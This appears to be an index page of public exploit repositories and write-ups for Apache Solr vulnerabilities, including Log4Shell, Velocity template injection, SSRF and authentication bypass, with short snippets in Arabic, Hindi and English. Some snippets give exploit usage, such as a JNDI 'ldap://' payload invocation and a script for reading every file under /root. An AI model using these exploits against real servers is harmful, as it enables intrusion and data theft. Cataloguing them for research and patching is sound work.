Solr-RCE-CVE-2019-0192

Solr-RCE-CVE-2019-0192 تنفيذ الأوامر عن بُعد في Apache Solr عبر dataImportHandler إصدار Solr المستهدف: 1.3 – 8.2 المتطلبات: يجب تمكين DataImportHandler، وهو غير مفعل افتراضيًا. لقد اختبرت على الإصدار 6.2 python python solrRCE.py...

Solr-SSRF

Solr-SSRF Apache Solr SSRF استخدام - Apache Solr SSRF ثغرة CVE-2021-27905 - الخيارات: -h or --help : وصف الأسلوب -u or --url : عنوان URL للموقع -d or --dnslog : DnsLog مثال python3 CVE-2021-27905.py -u URL -d dnslog...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2021-44228

Log4j भेद्यता - CVE-2021-44228 📗 परिचय यह भेद्यता 9 दिसंबर, 2021 को खोजी गई थी, जिसे CVE-2021-44228 के रूप में पहचाना गया, यह दोष java log पैकेज को प्रभावित करता है, जिससे गंभीरता स्कोर CVSS 10 अंक उत्पन्न होता है, जो होस्ट तक दूरस्थ पहुंच का निष्पादन प्रदान करता है। यह भेद्यता सुरक्षा समुदाय में...

Log4Shell-Vulnerability-Replication

CVE-2021-44228 Log4Shell Vulnerability Complete Replication Record This record is based on the Apache Solr 8.11.0 target environment provided by Vulhub, fully replicating the Log4j2 JNDI injection vulnerability, and successfully verifying the vulnerability's existence through DNSLog and local LDA...

Exploit for Improper Input Validation in Siemens 6Bk1602-0Aa12-0Tp0_Firmware

Log4Shell CVE-2021-44228 in Apache Solr Vulhubhttps://vu...

Apache Solr - Authentication Bypass

Solr instances using the PKIAuthenticationPlugin, which is enabled by default when Solr Authentication is used, are vulnerable to Authentication bypass.A fake ending at the end of any Solr API URL path, will allow requests to skip Authentication while maintaining the API contract with the origina...

CVE-2021-27905.POC

CVE-2021-27905.POC POC for LFI related to CVE-2021-27905 POC for apache-solr-file-read nuclei template Use traverse.sh path For example, using /root as path, will display the content of all files recursively ./traverse.sh /root It's also possible to traverse and get the content of every file on t...

Apache Solr - Host Environment Variables Leak via Metrics API

Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr. The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to wor...

bug-bounty-reports-desai-vinayak

🧩 बग बाउंटी रिपोर्ट्स — देसाई विनायक 🔒 बग बाउंटी और कमजोरियाँ अनुसंधान रिपोर्ट्स देसाई विनायक द्वारा। यह रिपॉजिटरी निष्क्रिय, गैर-विनाशकारी कमजोरी विवरण और समन्वित प्रकटीकरण और सुधार ट्रैकिंग के लिए सहायक साक्ष्य एकत्र करता है। 📁 सामग्री 📂 reports/ — प्रत्येक रिपोर्ट के लिए PDF, DOCX और साक्ष्य...

CVE-2019-12409

CVE-2019-12409: ثغرة RCE بسبب تكوين افتراضي سيء في Apache Solr يحتوي إصدارا 8.1.1 و 8.2.0 من Apache Solr على إعداد غير آمن في ملف التكوين الافتراضي solr.in.sh المرفق مع Solr. الإعدادات التي تؤدي إلى هذه الثغرة هي: في "solr.in.sh": ENABLEREMOTEJMXOPTS="true" يقوم بتمكين خدمة JMX في "solr.cmd":...

PoC_CVE-2017-3164_CVE-2017-1262

Apache Solr Poc CVE-2017-3164 CVE-2017-12629 This folder contains example exploits for Apache Solr CVE-2017-3164 CVE-2017-12629 To be use ONLY for education purposes and with full permission of the Apache Solr Server owner. You will need to know the IP or DNS name of the Apache Solr server and th...

solrradar

Mass Reconnaissance & Exploitation Framework for Apache Solr Velocity Template Injection → Remote Code Execution 📑 Table of Contents Vulnerability Overview Affected Versions Features Installation Usage Proof of Concept Technical Deep-Dive Detection Methodology Defense & Mitigation Disclaimer...

solr_exploit

घोषणा यहाँ प्रदान की गई भेद्यता पहचान विधियाँ, फ़ाइलें आदि केवल उन सुरक्षा पेशेवरों के लिए हैं जिनके पास कानूनी अधिकार है, और इनका उद्देश्य अधिकृत सर्वरों की सुरक्षा का परीक्षण करना है। सुरक्षा पेशेवरों को कानूनी नियमों का पालन करना चाहिए और बिना प्राधिकरण के किसी भी भेद्यता परीक्षण को करने से...

vm-homelab-log4shell-assessment

تقييم الثغرات والتحقق من الاستغلال — Apache Solr / Log4Shell مختبر لإدارة الثغرات بكامل دورة حياتها: فحص ← ترتيب الأولويات ← تحقق يدوي ← كشف على مستوى الشبكة ← معالجة ← تحقق. الهدف: حاوية Vulhub الخاصة بـ CVE-2021-44228 Solr 8.11.0 في مختبر معزول بجهازين افتراضيين. →التقرير الكامل →فهرس لقطات...

Exploit_CVE-2019-17558-RCE

ExploitCVE-2019-17558-RCE Apache Solr 1.4 Injection to get a shell to Encode url, postrequest, getrequest...

CVE-2020-13941

CVE-2020-13941: Abusing UNC Paths in Windows Environments in Apache Solr Multiple Solr endpoints have been found to accept absolute paths. In Windows systems these absolute path can be forced to make the OS connect to an attacker-controlled SMB server. This behaviour may result in attacks such as...

CVE-2019-12401

CVE-2019-12401: XML Bomb in Apache Solr Solr versions prior to 5.0.0 are vulnerable to an XML resource consumption attack a.k.a. Lol Bomb via its update handler. By leveraging XML DOCTYPE and ENTITY type elements, the attacker can create a pattern that will expand when the server parses the XML...

cve-2019-17558-apache-solr-rce

Apache Solr RCE CVE-2019-17558 - CTF Write-up استغلال عملي لثغرة Velocity Template Injection في Apache Solr، والتطور من فشل في أداة آلية Metasploit إلى استغلال يدوي ناجح. هذا التقرير يوثّق خط التفكير الكامل للتمرين، مع التركيز على تشخيص فشل الأداة والتحول إلى الاستغلال اليدوي. السيناريو العنصر|...

Apache Solr <=8.3.1 - Remote Code Execution

Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset velocity/ directory or as a parameter. A user defined configset could contain renderable,...